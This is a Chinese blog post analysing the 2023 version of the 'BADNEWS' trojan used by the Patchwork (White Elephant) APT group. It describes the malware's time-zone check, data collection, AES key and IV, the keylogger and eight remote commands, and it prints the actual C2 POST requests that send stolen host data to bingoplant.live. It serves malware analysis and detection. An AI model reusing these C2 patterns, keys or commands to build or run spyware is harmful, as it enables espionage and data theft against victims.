“白象”2023年迭代武器“badnews”分析(一)

APT 7个月前 admin
30 0 0

0|前

文章主要以技术视角叙述木马运行全流程,对于同样在调试此样本的读者有更大的帮助,此木马开发层面存在几处代码错误,部分环节调试会有问题。但是毕竟是目标组织持续迭代更新的样本,还是值得学习的,熟悉和提取其相关特征,对病毒分析、流量分析都有一定的帮助。

1|背景

不同厂商对目标组织命名不同,如摩诃草(360安全)、别名白象(安天)、Patchwork(Cymmetria)、APT-Q-36(奇安信)等。

有间接证据表明白象组织为印度实体,其攻击目标所涉及的国家和地区分布非常广泛,除了中国和巴基斯坦等主要目标,还包括以色列、日本、中东、英国、美国、韩国以及中东和东南亚地区。以鱼叉式攻击为主,针对目标国家的航空、国防、能源、金融、政府、IT、媒体、非政府组织、制药、智库进行网络间谍活动,窃取敏感信息。

本次样本通过特定检索方式从VT获取,这是继“BADNEWS”样本2022年6月版本后曝光的最新的一版。从样本情况来看应该是以巴基斯坦地区为攻击目标的版本。

“白象”2023年迭代武器“badnews”分析(一)

2|样本比对


2022年6月 2023年1月
MD5

3573fb365cb90f54324ed47ed2bfdfdb

84f41114b0b9cbd4fd809dcef586e923
文件类型
windows32 PE
windows32 PE
上传时间(vt) 2022-05-25 10:34:38 UTC 2023-01-09 18:51:42 UTC
创建时间 2022-05-22  09:00:32 UTC 2022-09-16  07:51:42 UTC
文件大小
342.95 KB 545.41 KB

3|样本运行流程和指令功能分析

“白象”2023年迭代武器“badnews”分析(一)

八个指令码对应功能,后续会做详细说明。

指令码
函数功能
1(0x31) 遍历指定目录文件列表写入到文件中并发送(__TDSYU)
2(0x32) 屏幕截图,将图片编码和加密上传(s.sys)
3(0x33) 释放内存,结束木马进程
4(0x34) 从指定URL下载exe,保存为“TGJdbkds_[a-z]{4}.exe”文件名,并创建进程
5(0x35) 将桌面的client_server.zip使用aes算法加密为“%temp%client_server“
6(0x36) 上传Temp目录下键盘记录文件(atapi.sys)
7(0x37) 执行终端命令
8(0x38) 从指定URL下载dll文件并保存

3.1|判断时区

完成初始化和基本的库函数加载。

“白象”2023年迭代武器“badnews”分析(一)

获取当前系统时区,与“Pakistan Standard Time”(巴基斯坦标准时区)对比,若不同则结束程序运行。

“白象”2023年迭代武器“badnews”分析(一)

修改PC时区于UTC+05:00,伊斯兰堡,即可绕过比对。(下图为时区获取函数返回值于寄存器EAX中)

“白象”2023年迭代武器“badnews”分析(一)

3.2|收集系统信息

以函数指针的形式调用函数获取UUID(操作系统唯一的标识符)。

“白象”2023年迭代武器“badnews”分析(一)

获取后回到主函数。

“白象”2023年迭代武器“badnews”分析(一)

创建目录“C:UsersuserAppDataLocalTempSHYdbjkQ”。

“白象”2023年迭代武器“badnews”分析(一)

使用管道执行命令“powershell -nop -c Get-Service 2>&1”,属性为”r”(读取子进程的标准输出),这可以视为一种无回显的隐蔽执行。用于获取计算机上的服务,包括服务的名称、状态、启动类型等信息。

“白象”2023年迭代武器“badnews”分析(一)

收集服务信息如图。

“白象”2023年迭代武器“badnews”分析(一)

将收集的服务信息创建并写入文件 “C:UsersuserAppDataLocalTempRTYgjfdg.sys”。

“白象”2023年迭代武器“badnews”分析(一)

接下来会使用相同的方法搜集下图所示信息。

“白象”2023年迭代武器“badnews”分析(一)

有一丢丢小问题的是,收集安装包信息“wmic product get name“没有执行成功,输出文件中没有看到应有的内容,反复跑了几遍都没有,应该是木马开发问题,与调试无关,阿三兄弟有点瓦呀,无伤大雅直接过。

文件部分信息如图(图中为服务信息)。

“白象”2023年迭代武器“badnews”分析(一)

“白象”2023年迭代武器“badnews”分析(一)

3.3|木马加密算法分析

经过分析比对,该样本使用了CryptoPP开源加密库AES-CBC-128加密算法(IDA7.0插件可直接识别),使用的KEY为字符串“b14ca5898a4e4133bbce2ea2315a191”,IV值为 “1234567891234567”。同时结合base64进行多次编码和加密。AES加密相关字段如下。

“白象”2023年迭代武器“badnews”分析(一)

例如uuid字段加密和编码流程。先base64编码,做AES加密,再进行两次base64编码。反汇编代码如下。

“白象”2023年迭代武器“badnews”分析(一)

AES加密对照如下。

“白象”2023年迭代武器“badnews”分析(一)

“白象”2023年迭代武器“badnews”分析(一)

详细运行参数和结果如下。

“白象”2023年迭代武器“badnews”分析(一)

同时还使用异或加解密方式,例如发包参数“POST”等字段使用异或解密获得。

“白象”2023年迭代武器“badnews”分析(一)

异或参数为“0xA”。

“白象”2023年迭代武器“badnews”分析(一)

3.3.1|加密信息初始化和发包通讯分析

在完成字段的搜集来的信息加密操作后,自定义了部分字段,每个字段拼接其自定义对应的密文,用作后续的外传。包括路径“C:UsersqianlanAppDataLocalTempRTYgjfdg”的密文文件。

“白象”2023年迭代武器“badnews”分析(一)

例如下图,qabc则为前叙uuid的密文。

“白象”2023年迭代武器“badnews”分析(一)

对部分字符做宽字符转换,包括url “wnykzjzy2si478c7a2w/terncpx8yr2ufvisgd2j/x8jb9g97kkexor5ihnbq/d91ng62l00hc4vgaxkf.php”,contentypeContent-Type: application/x-www-form-urlencoded”等

“白象”2023年迭代武器“badnews”分析(一)

加载winInet.dll,连续调用InternetOpenW()InternetConnectW()、HttpOpenRequestW()、HttpSendRequestW(),完成初始化和发包操作,发包反汇编函数和发送上线数据包如下。

“白象”2023年迭代武器“badnews”分析(一)

上线数据包会完成多次,上线数据包则包括所有搜集来的信息的密文,HTTP头和部分主体如下。

POST /vwnykzjzy2si478c7a2w/terncpx8yr2ufvisgd2j/x8jb9g97kkexor5ihnbq/d91ng62l00hc4vgaxkf.php HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0Host: bingoplant.liveContent-Length: 22019
qadc=fe92xhvtxqEMgSCzqeUkkvHlrTSQUIt2LqGIKwocaCD75pb7zs8R2VK3X8vliY2Eo0kv929Yhh6xE0XxNrtINw=

上线数据发送完毕后,木马会专门发送一个上线结束的数据包,如图所示。数据包中包含的字符串“ZG9uZQ==”是“done”经过Base64编码后的结果,如下图所示。上线结束包还包含一个固定的取值的字段“olmn=huik”。

“白象”2023年迭代武器“badnews”分析(一)

完成“上线”和“上线结束”数据包发送后,将删除存储主机信息的明文文件“C:UsersqianlanAppDataLocalTempRTYgjfdg.sys”以及密文文件“C:UsersqianlanAppDataLocalTempRTYgjfdg”。功能代码如下。

“白象”2023年迭代武器“badnews”分析(一)

3.4|木马功能分析

3.4.1|键盘记录

创建线程,线程函数功能为把键盘记录器记录(含窗口信息)存储在temp目录下atapi.sys文件中,后续会加密后上传。线程函数如下图。

“白象”2023年迭代武器“badnews”分析(一)

atapi.sys文件创建如下图。

“白象”2023年迭代武器“badnews”分析(一)

这里会做cpas lock,shift按键判断,获取窗口信息写入刚才创建的文件。

“白象”2023年迭代武器“badnews”分析(一)

文件状态如下。

“白象”2023年迭代武器“badnews”分析(一)

3.4.1|心跳包

 上线数据发送完毕后,将进入心跳维持及接收指令分发和执行具体功能的阶段。木马会首先通过访问第三方服务(myexternalip.com)获取受害者网络的出口IP。该第三方服务是托管在Google上的一个专门获取外网IP的网站。取ip功能模块如图。

“白象”2023年迭代武器“badnews”分析(一)

改改hosts表,搭建一个web服务模拟访问路径,伪造一个c2让木马顺利获取ip。流量字节流如图所示。

“白象”2023年迭代武器“badnews”分析(一)

InternetReadFile()获取到IP在内存中如图所示。

“白象”2023年迭代武器“badnews”分析(一)

需要说明的是字段“SL”指示的是外网IP地址(后续的数据包示例中),当无法从第三方服务获取外网IP地址时,其字段取值将固定为“iXqPW+TBw16qYnKAFkByrg==”。字段“qcsnry”的内容“8e++MknuYQKU0S15hAX0lw==”来源为一个字符“1”经过Base64编码、AES加密、Base64编码后再使用“_”替换掉“+”的结果。请求头“User-Agent”字段的内容为:“E6 BD 8D E6 A5 BA E6 B1 AC E2 BD A1 E2 B8 B5 30”。

后续继续获取当前系统用户名、uuid等信息做编码处理,如图。

“白象”2023年迭代武器“badnews”分析(一)

然后开辟内存,将处理后的密文做拼接处理,用作后续发包素材,拼接结果如图。

“白象”2023年迭代武器“badnews”分析(一)

完成http发包,包括用户名、本地网络出口IP、uuid等信息。代码入下。

“白象”2023年迭代武器“badnews”分析(一)

发送数据包内容如下。

POST /vwnykzjzy2si478c7a2w/terncpx8yr2ufvisgd2j/x8jb9g97kkexor5ihnbq/d91ng62l00hc4vgaxkf.php HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: ...............0Host: bingoplant.liveContent-Length: 203
SL=SWQeJyKwpsHEXLOhZLKybH7ectoz_1XH7iNErhi5LFw=&jsve=pfJpIeYwOM6ruNyfhvs7oQ==&qadc=fe92xhvtxqEMgSCzqeUkkvHlrTSQUIt2LqGIKwocaCD75pb7zs8R2VK3X8vliY2Eo0kv929Yhh6xE0XxNrtINw==&qcsnry=8e__MknuYQKU0S15hAX0lw==


程序会读取响应包,响应包中会包含指令码。

这里心跳包的响应就是循环接收指令了

“白象”2023年迭代武器“badnews”分析(一)

3.4.1|循环接收指令

指令码共计八个,不同指令对应不同样本功能,功能如下表。

指令码
函数功能
1(0x31) 遍历指定目录文件列表写入到文件中并发送(__TDSYU)
2(0x32) 屏幕截图,将图片编码和加密上传(s.sys)
3(0x33) 释放内存,结束木马进程
4(0x34) 从指定URL下载exe,保存为“TGJdbkds_[a-z]{4}.exe”文件名,并创建进程
5(0x35) 将桌面的client_server.zip使用aes算法加密为“%temp%client_server“
6(0x36) 上传Temp目录下键盘记录文件(atapi.sys)
7(0x37) 执行终端命令
8(0x38) 从指定URL下载dll文件并保存

调试时可以用两种方式去触发对应指令码,一是尝试构造虚拟c2,但是需要去逆向指令码是如何做处理的,让木马获取到正常的指令信息,这个比较麻烦。二是在动态调试至最终获取指令码处,手动修改指令码。

最终获取指令码如图。

“白象”2023年迭代武器“badnews”分析(一)

动态调试信息如图,内存地址00CFED94,其中a1的值就是指令码值,下一行00CFED96,”cmp a1,32″,及指令码2的函数入口。只需要修改最终获取的指令码值即可进入想调试的函数。

“白象”2023年迭代武器“badnews”分析(一)

手动修改寄存器esi存储的指针地址对应地址的值,即可进入对应指令码的木马功能模块,如下图所示。

“白象”2023年迭代武器“badnews”分析(一)

本篇文章已经很长了,分两篇写吧,下一篇会把所有木马对应指令功能调试一遍。

原文始发于微信公众号(帅仔回忆录):“白象”2023年迭代武器“badnews”分析(一)

版权声明:admin 发表于 2023年9月19日 下午8:04。
转载请注明:“白象”2023年迭代武器“badnews”分析(一) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...